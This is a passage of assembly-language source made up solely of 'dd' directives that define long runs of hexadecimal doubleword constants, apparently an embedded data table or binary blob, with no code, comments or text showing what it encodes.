		dd 26070009h, 0F050506h, 512141Fh, 52C184Ch, 10C051Eh
		dd 81F0F40h, 500090Ch, 10C0Dh, 0C766FF0Dh, 7000145h, 66FF0F01h
		dd 1044589h, 0B141F0Fh,	390F0104h, 8BFFC008h, 8BFF00h
		dd 270B141Fh, 4021700h,	0FE00010Ch, 0FF24FF07h,	0CFF85C6h
		dd 0FF24FF2Bh, 15BD370Ch, 8B66FFE3h, 8966FF45h,	8E0FFF85h
		dd 12591547h, 0B591259h, 3000505h, 0C0B030Eh, 8F03000Ah
		dd 2040103h, 17070001h,	210A0C67h, 38F0300h, 1020401h
		dd 10400h, 0A0C6307h, 8F0300C8h, 0A060103h, 36F0300h, 0A0601h
		dd 1036F03h, 3000A06h, 601036Fh, 6F03000Ah, 2040103h, 58030001h
		dd 1040001h, 100700h, 1038F03h,	10204h,	7000104h, 0C8050A63h
		dd 38F0300h, 50A01h, 1036F03h, 300050Ah, 0A01036Fh, 6F030005h
		dd 40A0103h, 3000102h, 4000158h, 10070001h, 3000A0Ch, 401038Fh
		dd 4000102h, 63070001h,	3B050Ah, 1038F03h, 300050Ah, 0A01036Fh
		dd 6F030005h, 50A0103h,	36F0300h, 2040A01h, 58030001h
		dd 1040001h, 100700h, 1038F03h,	300050Ah, 0A01036Fh, 6F030005h
		dd 50A0103h, 36F0300h, 0C170A01h, 8F03000Ah, 2040103h
		dd 1040001h, 0C630700h,	3003B0Ah, 601038Fh, 6F03000Ah
		dd 0A060103h, 36F0300h,	0A0601h, 1036F03h, 3000A06h, 401036Fh
		dd 3000102h, 4000158h, 10070001h, 38F0300h, 0A0601h, 1036F03h
		dd 3000A06h, 601036Fh, 6F03000Ah, 0A060103h, 36F0300h
		dd 1020401h, 1580300h, 1040700h, 0E033400h, 8AFF2E14h
		dd 0D0FFD184h, 188FFE0h, 3BFF9015h, 13D22D0h, 8966FF0Fh
		dd 0F010085h, 858966FFh, 1AFF5B00h, 24FF05C0h, 0BD04FF02h
		dd 0E300010Fh, 4013D15h, 0FF070001h, 0FF7D8366h, 0B858966h
		dd 8966FF00h, 0A0C85h, 0F010303h, 858966FFh, 0F013D15h
		dd 858966FFh, 1501050Dh, 4013D05h, 1F0F0901h, 3C0F0908h
		dd 154D0B9Ah, 8C0FFFC9h, 270009h, 13180303h, 3F1C1D1Bh
		dd 90027h, 2D1A1610h, 122D1206h, 2122Dh, 12320320h, 13509h
		dd 1094502h, 9450500h, 90001h, 900E409h, 8BFF00E4h, 729E48Eh
		dd 1F81B9A6h, 360585E4h, 2060502h, 130700E4h, 0BE01141h
		dd 5027406h, 0FF070006h, 111386C6h, 383802h, 20A1107h
		dd 330FC500h, 8D060852h, 2300A02h, 2 dup(230420Ah), 0CB30420Ah
		dd 0CB081342h, 0E08CB08h, 5C6FF08h, 1A161118h, 0A060C2Ah
		dd 3F70002h, 5A174A0Bh,	30E0005h, 0A9062608h, 14030001h
		dd 0D08030Eh, 0F090C01h, 6D49080Eh, 0DE03FF22h,	0A010090Ch
		dd 69FF40A8h, 13DC0h, 0B320320h, 10030009h, 3E89FF35h
		dd 152E7B52h, 2340142Ch, 19050Ah, 0FF024644h, 89FF098Bh
		dd 15F460Ch, 4583FF00h,	0DF03FF07h, 0B4DFFFFh, 52000949h
		dd 402CBB03h, 34FFFF46h, 330F0205h, 5A124052h, 0D010D5Ah
		dd 0F0A0105h, 170A0B0Eh, 901050Dh
		dd 44460F0Ah, 89FF9505h, 0FF44464Ch, 0A0FF4C89h, 6C1B03BDh
		dd 2397DD86h, 9010A04h,	80E0F09h, 0A040855h, 15F4601h
		dd 10400h, 1F080E07h, 0BC80FF2Eh, 100B5908h, 0FF4E8BFFh
		dd 0F098489h, 0FFC381FFh, 2214DFFh, 18530300h, 111C1D13h
		dd 11030038h, 62A1A16h,	904020Ah, 90001h, 48200007h, 8F73BFFh
		dd 51AC0C3Ch, 10204h, 39FF2C07h, 0F02963Eh, 1E9E8746h
		dd 4517979h, 3C000102h,	0D70B9A07h, 0FFC781FFh,	64B1E3Bh
		dd 271D0300h, 1B180300h, 63F1C13h, 3200002h, 35020832h
		dd 7000138h, 2060502h, 11130700h, 0C2D1A16h, 2D120A06h
		dd 9000912h, 14090050h,	7292000h, 2EF03BFFh, 13520h, 2C0C3303h
		dd 390F050Ch, 0A0B14h, 2B4C1003h, 90A061Eh, 80E0F01h, 66DE0837h
		dd 0A2CE2E37h, 2 dup(0A208A208h), 4C6FF85h, 4D3BFF5Ch
		dd 90A22h, 0A0303h, 180F0903h, 11411D13h, 380806E0h, 0F200300h
		dd 8F03BFFh, 0F050506h,	0F060520h, 11130F06h, 4AB20A06h
		dd 0FB000505h, 373034Eh, 6780FF4Bh, 5054AB2h, 34EFB00h
		dd 0FF4B0373h, 4AB26780h, 0FB000505h, 373034Eh,	6780FF4Bh
		dd 16111318h, 60C2A1Ah,	1252490Ah, 217F80FFh, 2061305h
		dd 0E07000Ah, 6103A0Bh,	7000A02h, 103A0B0Eh, 0A0206h, 3A0B0E07h
		dd 0A020610h, 210E0700h, 0AE13Ah, 12320320h, 83C80FFh
		dd 170B4EFFh, 4700015Fh, 5FC83903h, 10401h, 0C8035703h
		dd 10A0406h, 0FF0D0700h, 501A480h, 9010504h, 29210E0Fh
		dd 20001401h, 1430D03h,	401060Dh, 0F090105h, 472D210Eh
		dd 60B2D08h, 700090Ch, 2AC0B2Dh, 2D070009h, 0A2321h, 0FF03205Ah
		dd 2E2D2680h, 0FFF4415h, 0D0104B6h, 6000102h, 67073D00h
		dd 90C0622h, 80FF0700h,	6010D26h, 15034D00h, 622C903h
		dd 600090Ch, 6072800h, 0F090300h, 1C1D1318h, 2A1A1611h
		dd 1020406h, 102040Fh, 1020400h, 10400h, 1040104h, 1040700h
		dd 102040Fh, 32032000h,	5060803h, 6000205h, 10400h, 111C1307h
		dd 42A1A16h, 40F0102h, 2 dup(4000102h),	1040001h, 4000104h
		dd 7000102h, 1080Eh, 1C360503h,	111C1B11h, 0C2A1A16h, 2040A06h
		dd 2040F01h, 8D030001h,	0A052303h, 4050505h, 50300102h
		dd 10D08A7h, 10D010Dh, 0FF0C0F0Ch, 0FFFF1D8Bh, 50A05D3h
		dd 9020505h, 8732030h, 10D010Dh, 0F06010Dh, 0D3FFFF06h
		dd 1C1D1318h, 2A1A1611h, 60D4A06h, 6020601h, 2020606h
		dd 408F50Fh, 40F0102h, 9000102h, 7000104h, 250F0104h, 5010401h
		dd 0F090906h, 0F090910h, 1C130F09h, 0A740611h, 300AA06h
		dd 0FF2E0E66h, 0FF0B3C80h, 0A65C7C8Dh, 1318A822h, 2A1A1611h
		dd 5010204h, 40F010Fh, 80FF0001h, 1040320h, 16111C0Fh
		dd 60C621Ah, 5050Ah, 330505h, 1305AF07h, 5050899h, 4488FF00h
		dd 3BFF034Eh, 5F0B03F7h, 49000102h, 2000Ah, 10D5007h, 60D4A0Fh
		dd 6060506h, 1F0F0102h,	101B0B14h, 0A0A010Dh, 0F0C020Ah
		dd 6430D07h, 3000C01h, 0F090C01h, 6060F09h, 201060Dh, 36050F06h
		dd 1C1D1318h, 2A1A1611h, 0A060Ch, 2C060426h, 10F0C01h
		dd 2B2BDA0Fh, 4D402308h, 0F010604h, 10204h, 4EC00ECh, 0EC0001h
		dd 1040104h, 120E0700h,	40E14D49h, 0B1F39FFh, 3000C09h
		dd 6040333h, 2040F01h, 0FFFF0001h, 348DFF34h, 104AC00h
		dd 700AC00h, 40F0104h, 104010Ch, 20B0E0Fh, 7000502h, 75201510h
		dd 6B006Bh, 56B6Bh, 6B006Bh, 1D131807h,	48D111Ch, 2 dup(4300105h)
		dd 1040001h, 5000100h, 0C06130Dh, 0D070001h, 8966FF43h
		dd 10D015Dh, 5050C0Ch, 10C040Ch, 0C0F0F0Ch, 2A1A1600h
		dd 0A060Ch, 480C0447h, 10F0A01h, 840DB0Fh, 0C04AA26h, 2040F01h
		dd 0AC0001h, 104ACh, 10400ACh, 7000104h, 0E14D080Eh, 3F83FF9Dh
		dd 626480Bh, 4000A02h, 10001h, 6120E07h, 3030002h, 150F0A0Fh
		dd 6B7520h, 6B6B006Bh, 6B0005h,	104006Bh, 7000100h, 202080Eh
		dd 0F030300h, 13180F05h, 16111C1Dh, 0C00291Ah, 9020A06h
		dd 9000104h, 7BF3C00h, 8D8DFF2Ch, 1E020C14h, 12396101h
		dd 0B55121Fh, 13050B55h, 38FF4A10h, 504089Dh, 10401h, 4A080E07h
		dd 89D38FFh, 90104h, 29035703h,	0FF01290Bh, 185B60Fh, 2040104h
		dd 57070001h, 0C04050Bh, 5040001h, 85C6FF01h, 90009h, 50D1707h
		dd 8F0F2701h, 0D070001h, 27010C02h, 1400010Fh, 10C0405h
		dd 0B370700h, 0FF010504h, 985C6h, 17070009h, 0FF010504h
		dd 985C6h, 92607h, 0C08030Eh, 9010604h,	1F083961h, 1040108h
		dd 0E070009h, 0E000908h, 40C0803h, 61090106h, 81F0839h
		dd 9010401h, 80E0700h, 9100F05h, 3000900h, 1B131803h, 163F1C1Dh
		dd 4022A1Ah, 9000109h, 1050400h, 0E140700h, 300270Bh, 60C171Bh
		dd 3C010A04h, 1020451h,	90A2300h, 3C500700h, 126E219Ah
		dd 208A7h, 0B320320h, 410000Ch,	11E89FFh, 4000135h, 13501h
		dd 35010204h, 2060001h,	0B0E0700h, 0C0006h, 90A0303h, 17030300h
		dd 270009h, 18031B03h, 3F1C1D13h, 1E1E1A16h, 66E680Ch
		dd 1050D0Bh, 3000202h, 7000103h, 25D8DFFh, 32032000h, 10C3508h
		dd 0E031500h, 0A290B03h, 1350105h, 35024900h, 1B00010Ah
		dd 8738FF07h, 1B7020Ch,	7000206h, 1C1D1318h, 32740611h
		dd 0FF4F4BE6h, 0CE4F0C8Dh, 0FF0188FFh, 4AFF6180h, 85FFB8B8h
		dd 1353B9D2h, 6740611h,	80E0300h, 3C80FF59h, 1310DE0Bh
		dd 0FF1BE511h, 8E20A8Ah, 0B4C3AFFh, 11109025h, 0C1E1A16h
		dd 0F50A4A06h, 906060Bh, 9060600h, 101B0700h, 62809h, 902010Dh
		dd 5076800h, 150389FFh,	89FF8818h, 0FF149630h, 29FF738Dh
		dd 39FF1B5Dh, 1E4C0846h, 7000102h, 0E0689FFh, 3FFA508h
		dd 441B1045h, 489FF64h,	7D3BFF72h, 1318154Bh, 9D111C1Dh
		dd 7AF669FFh, 0FF010675h, 1048Dh, 0FF050615h, 1048Dh, 478DFF07h
		dd 61A1610h, 4449280Ah,	8C985FFh, 8AFF089Ch, 788FF06h
		dd 644E088Ah, 0FF0B9CB8h, 131807C6h, 0FF4F1141h, 8E2088Ah
		dd 85AE4B69h, 32FF1025h, 0B0FF11C0h, 1E1A1611h,	490A060Ch
		dd 5A68000Ah, 3D82BFFh,	2878FF14h, 0FF068AFFh, 3AFF0F8Ah
		dd 0FFF08C1h, 0FFFD0BEh, 0FF9EC1BEh, 3D08D13Bh,	0BD03BFFh
		dd 60A09h, 4D080E07h, 1B96374Eh, 1C1D1318h, 0FF441511h
		dd 610C103h, 8AFF1B74h,	6908E20Eh, 0FF086908h, 10254C8Ah
		dd 0A1113EDh, 3C8DFF66h, 89148AFFh, 0DE0B8908h,	3FF105Ch
		dd 13ED18C1h, 8AFF4F11h, 8E22508h, 0E2088AFFh, 25086908h
		dd 2080FF10h, 0A06C211h, 0FF931BB2h, 0B89168Ah,	18050B52h
		dd 88FF4810h, 80FF2514h, 104E083Eh, 81318E0h, 59DE080Eh
		dd 83C80FFh, 60CC211h, 0FF1BB20Ah, 0FF93DF8Bh, 8AFFD92Bh
		dd 0FA088916h, 1488FF08h, 4B1F4E25h, 1D13181Bh,	105FDE11h
		dd 0C103FFDEh, 0C1A1610h, 50A2806h, 1F030006h, 49448503h
		dd 1988FF2Ch, 0C32BFF44h, 441988FFh, 0FF1F88FFh, 59081988h
		dd 59085908h, 6101B08h,	320001Eh, 6080357h, 320000Ah, 6080357h
		dd 3200009h
		dd 6080357h, 35B0009h, 185B0376h, 11411D13h, 0FF151A16h
		dd 0B89108Ah, 0B7880FFh, 5020905h, 1030300h, 89170700h
		dd 0FF0B8908h, 440B7880h, 8A018AFFh, 0C082D08h,	550001Eh
		dd 0C3FEFF09h, 0C3B60FFFh, 1B070001h, 0B7DB84FFh, 8A11411Dh
		dd 89101E08h, 910020Bh,	1B030009h, 0FA114103h, 38FF150Bh
		dd 10010810h, 3000909h,	11411503h, 0D621A16h, 0D010D01h
		dd 9010D01h, 80E0700h, 2 dup(10D010Dh),	0E070009h, 0D010D08h
		dd 0D010D01h, 7000201h,	0B71080Eh, 0D111C1Bh, 10D0105h
		dd 10D010Dh, 10D0100h, 10D010Dh, 100010Dh, 2 dup(10D010Dh)
		dd 10D0100h, 10D010Dh, 700010Dh, 2 dup(10D010Dh), 7000902h
		dd 111C3605h, 0D621A16h, 0D010D01h, 9010D01h, 80E0700h
		dd 2 dup(10D010Dh), 0E070002h, 111C1B0Bh, 10D0B71h, 300010Dh
		dd 0D0B7103h, 10D01h, 0B710303h, 10D010Dh, 71030300h, 0D010D0Bh
		dd 3030001h, 2 dup(10D010Dh), 7000902h,	111C3605h, 0E151A16h
		dd 89FF4408h, 60C1501h,	0FF498C0Ah, 88A018Ah, 0FF1F8AFFh
		dd 89DDB84h, 0FFD38AFFh, 0FF08D03Ah, 0FA4E568Ah, 3E80FF0Bh
		dd 418AFF08h, 0FF0B8A5Ch, 8BFF3980h, 0FF089DD1h, 3AFF028Ah
		dd 0FF4E0806h, 9D0B3E80h, 3A80FF90h, 80FF100Bh,	18159022h
		dd 89FF1D13h, 2BFF8110h, 0FF765BC2h, 1141C123h,	11310FFFh
		dd 1E1E1A16h, 4A0A060Ch, 0E7330200h, 2BFF000Fh,	1BFF06C7h
		dd 1AD02D3h, 0AD050600h, 3BFF0001h, 225433D6h, 54FF81FFh
		dd 0AAD0506h, 0FF920500h, 4336D63Bh, 3B9C2254h,	0FF364305h
		dd 2254D63Bh, 43053B9Ch, 0D63BFF36h, 3B9C2254h,	0FF364305h
		dd 2254D63Bh, 43053B9Ch, 0D63BFF36h, 3B9C2254h,	0FF364305h
		dd 2254D63Bh, 431B3B9Ch, 87C12BFFh, 1C1D1318h, 61A1611h
		dd 5BF0A28h, 61020506h,	0C6FF765Bh, 8145B46h, 3000602h
		dd 508030Eh, 6051036h, 5B610205h, 80FF5B76h, 41131866h
		dd 2A1A1611h, 20A060Ch,	10409h,	0D070009h, 0FF150F01h
		dd 0FF15B08Dh, 14B4EA05h, 7C345E00h, 534EB33h, 0A8143A3Ah
		dd 0FF7C5E60h, 0A834FA8Bh, 0A81434EBh, 8BFF0360h, 146034C2h
		dd 10D010Dh, 0D010D0Fh,	1B050F01h, 0C7FF9503h, 4866C85h
		dd 236A0F01h, 0B6A0B3Ah, 6A230B6Ah, 3 dup(6A10230Bh), 230B6A0Bh
		dd 2 dup(230B6A10h), 8550B6Ah, 0E001404h, 0FF3A0B3Ah, 80FFA580h
		dd 0FFF1BA5h, 9D89FFA2h, 0CD9589FFh, 2012C0Dh, 2B02020Ch
		dd 0D0B0E0Fh, 104012Bh,	20C010Dh, 0E0F093Ah, 504050Bh
		dd 9070001h, 295E2D0Fh,	2D50087Ch, 8D18BFFh, 2DD08BFFh
		dd 1E4C810Bh, 90C1E4Ch,	90109ADh, 90609h, 4010401h, 9272727h
		dd 102020Ah, 1040700h, 10204h, 1B070027h, 1C1D1318h, 2063Fh
		dd 8320320h, 13538h, 5020303h, 7000206h, 1A161113h, 90A0662h
		dd 0D00010Dh, 33000001h, 20D0502h, 6200001h, 0B320700h
		dd 92001029h, 0CF2BFF29h, 0FF003BA6h, 1318C72Bh, 0C1E111Ch
		dd 20A0616h, 0C52000h, 5000C533h, 8BFF00C5h, 0FF00C5E8h
		dd 0C54489h, 34403FFh, 3FF3405h, 3FF03C5h, 0ED1887C3h
		dd 601D4113h, 1A161103h, 1B2C0C2Ah, 80A06DAh, 0FF259B5Eh
		dd 0FF0B1939h, 0FF2BE8D1h, 2C10788Dh, 20000C0Ah, 16B7504h
		dd 10400h, 1046Bh, 2000104h, 102040Ch, 6E075000h, 222D4D0Bh
		dd 1C1D1318h, 1260411h,	4020104h, 4000106h, 4010001h, 7000C01h
		dd 23145A00h, 106040Ah,	1407000Ch, 81F080Eh, 3B67A500h
		dd 0FF3B6315h, 10144503h, 0C3B6315h, 5A100300h,	6DDFFF14h
		dd 5DD9FFh, 0FF145AA5h,	0D8FF6DDFh, 7DD8FF0Dh, 200C00h
		dd 16175303h, 60C2A1Ah,	409020Ah, 90001h, 1060426h, 480D0700h
		dd 60A0A01h, 50B0E0Fh, 2040A0Ah, 79791501h, 0F090Fh, 207C345Eh
		dd 140534EBh, 7C5E6053h, 34F28BFFh, 1434EB53h, 26036053h
		dd 0C28BFF06h, 4146034h, 60D0001h, 75D0001h, 0FF0A0867h
		dd 1E028D8Dh, 0FFFF1E4Ch, 0FF080ED0h, 20845F6h,	10D0210h
		dd 30300h, 400E2623h, 0E00430Bh, 430B40h, 3B471463h, 473B6347h
		dd 0BAFF2D00h, 0FA8BFF5Eh, 0FF2DB308h, 9308F28Bh, 0A820B2Dh
		dd 60D0914h, 5A091E09h,	1E6DDFFFh, 0DD8FF1Eh, 90C09D3h
		dd 1040109h, 4020104h, 7000102h, 2040104h, 270001h, 13181B07h
		dd 63F1C1Dh, 3200002h, 35380832h, 3030001h, 2060502h, 11130700h
		dd 5D621A16h, 0D4A1406h, 80E0F01h, 81F081Fh, 10D081Fh
		dd 10D010Dh, 100F010Dh,	1050D05h, 0CF150700h, 14000305h
		dd 0F003FF8Bh, 7145FEFFh, 1C13530Bh, 2A1A1611h,	20A060Ch
		dd 10409h, 26070009h, 2C051B95h, 0A36C2B03h, 955EA4FFh
		dd 3A8D866Ch, 145D97DDh, 0E0F010Dh, 1F121F12h, 0D05230Bh
		dd 7000105h, 305CF15h, 8B142D00h, 102040Bh, 10030300h
		dd 3 dup(10230B1Fh), 2308231Fh,	2 dup(10D010Dh), 155A100Fh
		dd 8450BFFh, 0A090D09h,	4010401h, 7300102h, 10A0D10h, 2040104h
		dd 70073001h, 45FEFF4Dh, 82D2171h, 10204h, 40C0303h, 2040109h
		dd 4073001h, 1020401h, 7002700h, 1D13181Bh, 2063F1Ch, 32032000h
		dd 1353808h, 2030300h, 20605h, 16111307h, 10D621Ah, 0F010D0Fh
		dd 854B561Bh, 4B562E56h, 92E5685h, 90909h, 0DFFF8B14h
		dd 0D31E1E6Dh, 30300h, 5E340F10h, 111C4260h, 0D621A16h
		dd 10D0F01h, 4B561B0Fh,	562E5685h, 2E56854Bh, 9090909h
		dd 0FF8B1400h, 1E1E6DDFh, 30300D3h, 0F111C00h, 1C605E34h
		dd 621A1611h, 0D0F010Dh, 561B0F01h, 2E56854Bh, 56854B56h
		dd 909092Eh, 8B140009h,	1E6DDFFFh, 300D31Eh, 0F100003h
		dd 1C052BFFh, 2583FF11h, 0C5420002h, 16110300h,	202051Ah
		dd 0C6015DC6h, 622589FFh, 0FF0A060Ch, 155A6589h, 43308BFFh
		dd 40788BFFh, 6030001h,	0CB080E0Fh, 2020608h, 0A100700h
		dd 4D83FF30h, 9020210h,	0FF110700h, 83FF658Bh, 0C6441B4Dh
		dd 180D89FFh, 3F1C1D13h, 61E1A16h, 3200005h, 0FF150832h
		dd 7B150689h, 605010Dh,	50202h,	1080E07h, 1036050Fh, 1B030006h
		dd 16111C13h, 202051Ah,	0C6015DC6h, 2A2589FFh, 0FF0A060Ch
		dd 0A0FF6589h, 1B0305BDh, 0DD866C95h, 0B1285A97h, 0CD488BFFh
		dd 104013Dh, 0B1030300h, 50FFFF06h, 104D83FFh, 9020104h
		dd 0FF110700h, 83FF658Bh, 0C6441B4Dh, 180D89FFh, 3F1C1D13h
		dd 0C1E1A16h, 20A06h, 90B03CBh,	172C0300h, 2C0D8BFFh, 34082337h
		dd 28418DFFh, 83039FFh,	83FF8790h, 342B4BFAh, 0FF418DFFh
		dd 90081839h, 0FA83FF87h, 300094Bh, 0C28BFF17h,	0FFC069FFh
		dd 0FF14C103h, 28081089h, 0FF085715h, 0FF440689h, 10D4889h
		dd 13D0915h, 0D0071500h, 0FF5889FFh, 571505FFh,	13D920Bh
		dd 0C021E0Ch, 744000Ch,	154189FFh, 60BF4h, 0A0DFFFFh, 10C0Dh
		dd 1D051007h, 18030002h, 13C38BFFh, 6111C1Dh, 60A26h, 0DFFFFB2h
		dd 77FFFF03h, 0A05020Fh, 7000600h, 16111318h, 28062A1Ah
		dd 6120A32h, 8038A00h, 20230006h, 7303000Ah, 69FF3B03h
		dd 9AED5DF6h, 40C7FF08h, 1003000Ah, 402060Ch, 23000102h
		dd 8BFF000Ah, 5D4A071Dh, 0FF089AEDh, 1E3D8D8Dh,	4BFF01h
		dd 8038A03h, 44C7FF5Dh,	81FF086Eh, 0FE81FFC6h
		dd 3000A22h, 1C13181Dh,	6162A11h, 0FFB48BFFh, 3BFFED33h
		dd 6120AF5h, 8038A00h, 20230006h, 7303000Ah, 69FF3B03h
		dd 0FFED5DF6h, 0FF086839h, 8BFF0DFFh, 1160270h,	6160700h
		dd 0A0F060Fh, 0C170300h, 25F0206h, 20001h, 89FF075Dh, 5D474844h
		dd 6839FF87h, 4CFFFF08h, 3D4C8DFFh, 300011Eh, 5D08038Ah
		dd 870DFFFFh, 0FF01160Ch, 700708Bh, 60F0616h, 6C39FF0Fh
		dd 0FB03FF08h, 22FF81FFh, 1D030002h, 0FF411318h, 1611C481h
		dd 4022A1Ah, 9000109h, 0E075D00h, 50A0612h, 1020401h, 62600h
		dd 48075ACAh, 608E05Dh,	60FC500h, 5F035D00h, 2090401h
		dd 75D0001h, 0FF4D0BE0h, 81FFC781h, 64BFFh, 131B1803h
		dd 1020410h, 31B0300h, 2063F1Ch, 8030E00h, 10674h, 7000206h
		dd 60B0Eh, 6111303h, 6050574h, 0E075D00h, 0FF060208h, 1113D0FFh
		dd 11130F06h, 38110F38h, 1A16110Fh, 65152806h, 6C10FFFh
		dd 16114113h, 1528061Ah, 687FF65h, 16114113h, 1F0F621Ah
		dd 20B14h, 111C1B03h, 50A060Ch,	1050Dh,	75B60FFFh, 6458AFFh
		dd 65000AFh, 7000C05h, 36053B71h, 8DFF5310h, 3000670h
		dd 60D0933h, 66FF010Ah,	145B60Fh, 0F09090Ch, 440F081Fh
		dd 100189FFh, 0F8BFF15h, 0FF4889FFh, 89FF4F8Bh,	0C0F0948h
		dd 3000A00h, 18360503h,	111C1D13h, 0C2A1A16h, 9020A06h
		dd 9000104h, 0FF072C00h, 20B1D38h, 1242390Fh, 3001028Dh
		dd 2 dup(30A14202h), 5C6FF42h, 12DA12DAh, 10412DAh, 0B141F0Fh
		dd 390F0104h, 0BF0FFF12h, 511EC048h, 700010Dh, 0FF832B71h
		dd 2137820Fh, 4A4D83FFh, 2B2B3748h, 2B2B2B2Bh, 50B572Eh
		dd 109090Dh, 0E070009h,	0B391512h, 4501FF15h, 0C9143BC9h
		dd 210142Eh, 5170300h, 0FF641314h, 15227D3Bh, 150B1437h
		dd 75F7FF34h, 0D140505h, 12390F01h, 4DB60FFFh, 0B60FFF1Eh
		dd 0FFF1E4Dh, 0FF1E4DB6h, 1E4DB60Fh, 909D651h, 2040109h
		dd 10070001h, 2B2B09D6h, 204012Bh, 15070001h, 0FF3A0BC9h
		dd 8AFF45FEh, 453AFF45h, 1B1318BBh, 0D63F1C1Dh,	0D601D601h
		dd 901D601h, 10909D6h, 10204h, 1A161007h, 480A061Eh, 9020B88h
		dd 17030300h, 3200002h,	12F73BFFh, 60902h, 14509h, 9088807h
		dd 85036300h, 10030009h, 0FF883605h, 9088688h, 85036300h
		dd 10030009h, 8E48829h,	10030009h, 0DE43605h, 2060A01h
		dd 670F0A0Ah, 1700060Bh, 13180F01h, 1A16111Ch, 60C0029h
		dd 8BFF0A28h, 5E8DFF0Eh, 0CBE8DFFh, 0FFFF450Ah,	10231h
		dd 0A020502h, 52073300h, 32FF0B40h, 40C17C0h, 40F0102h
		dd 1250001h, 0A0104h, 4120E07h,	0A0102h, 1F120E07h, 8DFF5512h
		dd 0C23089Dh, 3B80FF00h, 2081403h, 0E03000Ch, 100C0803h
		dd 0D83BFF04h, 1450208h, 2030300h, 0B1000A0Fh, 588BFF0Ah
		dd 36E0300h, 80FF680Bh,	0B3FF0B3Bh, 0DB32FF10h,	0FF030009h
		dd 1318C38Ah, 16111C1Dh, 4022A1Ah, 9000109h, 10400h, 40B8A07h
		dd 1020401h, 270700h, 3F1C1B03h, 62D1A16h, 20000212h, 9083203h
		dd 2D000135h, 9080303h,	3000145h, 0FF0A1003h, 0A02BE8Dh
		dd 7000A00h, 9450218h, 9070001h, 6050209h, 13070002h, 64F1141h
		dd 8AFF0A74h, 88AFF16h,	8E20BFAh, 10250B69h, 3AFF08E2h
		dd 86908D1h, 4B890B69h,	0B899689h, 0FF104E25h, 0BAE10B0h
		dd 0A788DFFh, 8A030006h, 38FF0B03h, 104E0806h, 18C032FFh
		dd 0C4F1113h, 0FF0A7406h, 0BE20E8Ah, 0E2088AFFh, 250B6908h
		dd 108AFF10h, 3AFF08FAh, 4B6908CAh, 4B699669h, 8AFF8569h
		dd 0F380FFD9h, 8DA3AFFh, 0B890889h, 96694B69h, 4E250B69h
		dd 10B0FF10h, 8DFF0BAEh, 60A78h, 0B038A03h, 80638FFh, 32FF104Eh
		dd 1D1318C0h, 0FF05C211h, 836C985h, 0FFF4BA6h, 0BB844AFh
		dd 621A1611h, 260A060Ch, 2C7D8DFFh, 0A566FFA3h,	2B28A4FFh
		dd 3E80FF2Bh, 468AFF0Bh, 81DA205h, 1D050BA2h, 3330006h
		dd 40DF3BFFh, 2BFFB92Bh, 154FFFFBh, 4BE0FFFh, 31F0001h
		dd 851F4B14h, 1F10143Dh, 0FF851F4Bh, 8FA558Ah, 4C1D0D05h
		dd 0FFD82BFFh, 56C2BE0Fh, 48DFF0Bh, 518AFF14h, 0A0BFA5Ch
		dd 0FFF0005h, 1FF45AFh,	3154D45h, 3C94FFFh, 1318154Bh
		dd 1B111C1Dh, 291A1610h, 28060C00h, 900AC0Ah, 10433h, 10409h
		dd 0E3090515h, 7000104h, 14360524h, 1040Bh, 460B2417h
		dd 1040B0Eh, 10D010Dh, 10D0700h, 1170002h, 10190300h, 2040B24h
		dd 0F010F01h, 8E0FFF0Eh, 17020104h, 4190B24h, 17000119h
		dd 2C152124h, 21239C0h,	10401h,	20000104h, 0C3967307h
		dd 3000A02h, 40B030Eh, 11F88FFh, 10400h, 53032003h, 0FF037E05h
		dd 0FFD0F9F7h, 0D9DFC82Bh, 2 dup(10604h), 4010401h, 4070001h
		dd 24170201h, 462C2821h, 21AE1239h, 0E000125h, 25461203h
		dd 92030001h, 0FF187E05h, 2BFFFFF7h, 4D9DFC8h, 1254601h
		dd 1040100h, 6042000h, 4070001h, 19C88FFh, 0B241702h, 10419h
		dd 40B2417h, 24170001h,	3260521h, 0FFA36C95h, 32605A4h
		dd 6C7D8DFFh, 12C04A3h,	0A4FF3A2Bh, 10D0300h, 10C0402h
		dd 40E0F02h, 0D000B01h,	0D030001h, 1040103h, 10C0D0Ch
		dd 0D0E0F09h, 37000801h, 0F091203h, 9030017h, 326050Fh
		dd 4A36C95h, 0A4FF01h, 343A7F03h, 0AB82153Ah, 0FF180594h
		dd 0FF06B60Fh, 810AC803h, 0FFF7FF7Eh, 810688FFh, 0F7FF037Eh
		dd 4DFFFFF9h, 0FF4479FFh, 0FFFF848Ah, 4488FF4Dh, 10479FFh
		dd 130D0500h, 0D01067Fh, 83830183h, 60D0083h, 10D01h, 0D01060Dh
		dd 60D0001h, 10D01h, 0D01060Dh,	0D070001h, 24170201h, 91832C0Bh
		dd 10408h, 1049117h, 170008h, 17000104h, 1040B24h, 21241700h
		dd 0FF032605h, 0A36C7D8Dh, 8BFFA4FFh, 8DFF2615h, 0FFA31B7Dh
		dd 8AFFA566h, 3AFF234Dh, 392CB70Ah, 2639230Bh, 10D260Bh
		dd 6035D00h, 10A25FFh, 5B60FFFh, 4010D01h, 10D0001h, 0B241700h
		dd 19190419h, 11919h, 150B2417h, 4013D72h, 17000106h, 12241224h
		dd 4190B24h, 17000119h,	79150B24h, 11904h, 190B2417h, 1191904h
		dd 0B241700h, 19047915h, 24170001h, 0E46280Bh, 20112h
		dd 17000219h, 79150B24h, 0B241700h, 4791505h, 24170001h
		dd 2410010Bh, 1040Bh, 20B2417h,	0B241702h, 1047915h, 12241700h
		dd 12241224h, 1040B24h,	0B241700h, 80E4628h, 30E0001h
		dd 2190212h, 2021700h, 0B241700h, 19190419h, 11919h, 21241707h
		dd 39462C28h, 0FF000112h, 1E0D1h, 36D0333h, 1001912h, 700190Ah
		dd 1020A04h, 26000A00h,	10604h,	23500007h, 4010604h, 0FF070001h
		dd 0FF000B4Fh, 201C32Bh, 490B2410h, 1239C12Ch, 10001h
		dd 3570320h, 0FFFF0612h, 0FF030077h, 4031C88h, 10206h
		dd 24170006h, 0B32800Bh, 1040202h, 6170700h, 0B241702h
		dd 24170019h, 104190Bh,	0B241700h, 24170019h, 479150Bh
		dd 24170001h, 104190Bh,	0B241700h, 19190419h, 17000119h
		dd 4190B24h, 17000119h,	2020B24h, 2030300h, 460B2417h
		dd 2312392Ch, 80000A01h, 0B035703h, 6260626h, 6030300h
		dd 1700020Ah
		dd 2C460B24h, 57801239h, 106260Bh, 800B2410h, 2061232h
		dd 800B2417h, 61232h, 0FFF0363h, 170F018Fh, 2C800B24h
		dd 0C0151257h, 6011239h, 0B241700h, 12572C80h, 1239C015h
		dd 17000601h, 0C0150B24h, 1701120Eh, 2C800B24h,	29DA0B57h
